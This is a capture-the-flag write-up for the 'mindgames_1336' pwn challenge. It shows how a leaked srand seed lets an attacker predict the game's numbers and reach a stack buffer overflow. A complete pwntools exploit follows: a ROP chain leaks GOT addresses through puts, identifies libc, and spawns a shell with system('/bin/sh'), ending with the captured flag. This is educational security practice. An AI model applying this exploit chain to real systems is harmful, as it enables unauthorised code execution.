Tags: got pwnscripts rop
Rating: 5.0
Do you want to play a game of the minds? I am sure you can never win this game! MUAHAHAHA....
nc pwn.institute 41336
Note: Mindgames 1336, Mindgames 1337 and Mindgames 1338 are created from the same source. Only the protections are different. So you might want to start with this one for an easier challenge.
pwnscripts
. Try it!We start off from the usual:
$ checksec mindgames_1336
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Well, that's great! All we gotta do now is to decompile the binary.
mindgames_1336: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, dynamically linked, interpreter \004, stripped
...which is perhaps a little bit tedious.
Each of the mindgames
involves relatively simple exploits; the trick is in figuring out precisely where the exploit is. Here's a quick rundown of what exactly the binary does:
void main() {
signal(14, handler);
alarm(14); // Timeout creation
setvbuf(...); // I/O debuffering
main_last();
}
We start at main()
, where some of the usual stuff happens. Every function from here-on-out (e.g. main_last()
) will be self-assigned names.
void main_last() {
int v = 0; // [rsp+4h] [rbp-Ch]
srand_init();
printf("\nWe should play a game of the mind!\n> ");
while (1) {
printf("What do you want to do?\n 1) Show Highscore\n 2) Play the game\n 3) Exit\n> ");
scanf("%d", &v);
if (v == 1)
show_highscore();
else if (v == 2)
play();
else
exit(0);
}
}
In this function, we first get an init()
function before we move on to the menu loop that you can see when you run the binary.
srand_init()
does a few important things:
char overflow[0x20];
int highscore;
// 4 bytes padding here
char *selected_name;
char *NAMEARRAY[5] = {...}; // constants omitted for brevity
srand_init() {
time_t timer; // [rsp+0h] [rbp-40h]
struct tm *tp; // [rsp+8h] [rbp-38h]
char s[0x28]; // [rsp+10h] [rbp-30h]
time(&timer);
tp = localtime(&timer);
strftime(s, 0x1A, "%Y-%m-%d %H:%M:%S", tp);
printf("Hello there! It's %s and the weather looks pretty nice!\n\n", s);
srand(timer);
long long eax = rand();
selected_name = NAMEARRAY[eax%6];
highscore = rand() % 32 + 1;
}
There's a lot of dumb code in there to read, so we can sum it up:
srand()
seed is leaked as a printed date. Grab it using pwntools and datetime.rand()
is called twice. If you didn't know, the values from C's rand()
, given the srand()
seed, can be easily predicted in python via the ctypes library:
from ctypes import CDLL
C = CDLL('libc.so.6')
C.srand(...)
print("The first random value is: %d" % C.rand())
highscore = C.rand()
The second value of rand (highscore
) is something you will need for later.
With that out of the way, we can focus on the main loop. There are two functions: show_highscore()
and play()
. The former is very simple:int show_highscore() {
return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);
}
This function is important as a leaking mechanism in later challenges, but for now it can be ignored.
play()
is a little more complex:
unsigned long long play() {
int inputv = 0, randv = 0;
unsigned int wins = 0;
printf("Can you guess my numbers?\n> ");
while (1) {
randv = rand();
scanf("%d", &inputv);
if (randv != inputv)
break;
printf("You were lucky this time!\n>");
++wins;
}
puts("Game over!");
if (wins >= highscore) {
puts("New Highscore! Amazing!");
highscore = wins;
set_new_highscore();
}
}
If you remember the small code block about rand()
in python from earlier, in play()
, we need to abuse C.rand()
highscore
times if we want to trigger the set_new_highscore()
function. Considering that there is no other function we have not looked at yet, at this point, it's somewhat obvious that we should set-up a way to enter set_new_highscore()
.
from re import findall
from datetime import datetime
from ctypes import CDLL
from pwnscripts import *
p = remote('pwn.institute', 41336)
strdate = findall(b"[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}", p.recvline())[0].decode()
epoch = datetime.strptime(strdate+'-+0000',"%Y-%m-%d %H:%M:%S-%z").timestamp()
C = CDLL('libc.so.6')
C.srand(int(epoch))
randv = C.rand()
highscore = C.rand()%32 + 1
p.sendlineafter('> ', str(2))
for i in range(highscore):
p.sendlineafter('>' if i else '> ', str(C.rand()))
p.sendlineafter('>', '0')
p.recvuntil('Amazing!\n')
At the last line of this code, we know that "New highscore! Amazing!"
has been printed. We're inside set_new_highscore()
:
set_new_highscore() {
ssize_t n; // ST08_8
char buf[0x110]; // [rsp+10h] [rbp-110h]
printf("Give me your name: ");
selected_name = &overflow;
n = read(0, buf, 0x400);
memcpy(&overflow, buf, n);
}
There is an incredibly obvious buffer overflow here: read(0x400)
clearly exceeds the limit (of 0x110) for buf[]
.
The exploitation of this is rather simple:
puts()
. This is only possible for mindgame_1336
, where PIE is disabled.system
, "/bin/sh"
)set_new_highscore()
again, and ret2libc system("/bin/sh")
The implementation of this is rather simple with pwnscripts
:
context.binary = 'mindgames_1336'
# Need to label the addresses here, because the binary is stripped
context.binary.symbols = {'set_new_highscore': 0x401336, 'puts': 0x401040}
context.binary.got = {'printf':0x404028, 'alarm':0x404030}
GOT_funcs = ['printf', 'alarm']
context.libc_database = 'libc-database'
def rop(b):
r = ROP(b)
r.raw(0x118*'a')
return r
r = rop(context.binary)
for f in GOT_funcs:
r.puts(context.binary.got[f])
r.set_new_highscore()
p.sendlineafter('name: ', r.chain())
libc_leaks = dict((f,extract_first_bytes(p.recvline(),6)) for f in GOT_funcs)
context.libc = context.libc_database.libc_find(libc_leaks)
r = rop(context.libc)
r.system(context.libc.symbols['str_bin_sh'])
p.sendlineafter('name: ', r.chain())
p.interactive()
That's it.
[*] Loaded 14 cached gadgets for 'mindgames_1336'
[*] found libc! id: libc6_2.28-10_amd64
[*] Switching to interactive mode
$ ls
flag
mindgames
$ cat flag
BCTF{I_guess_time_was_0n_y0ur_side_this_time}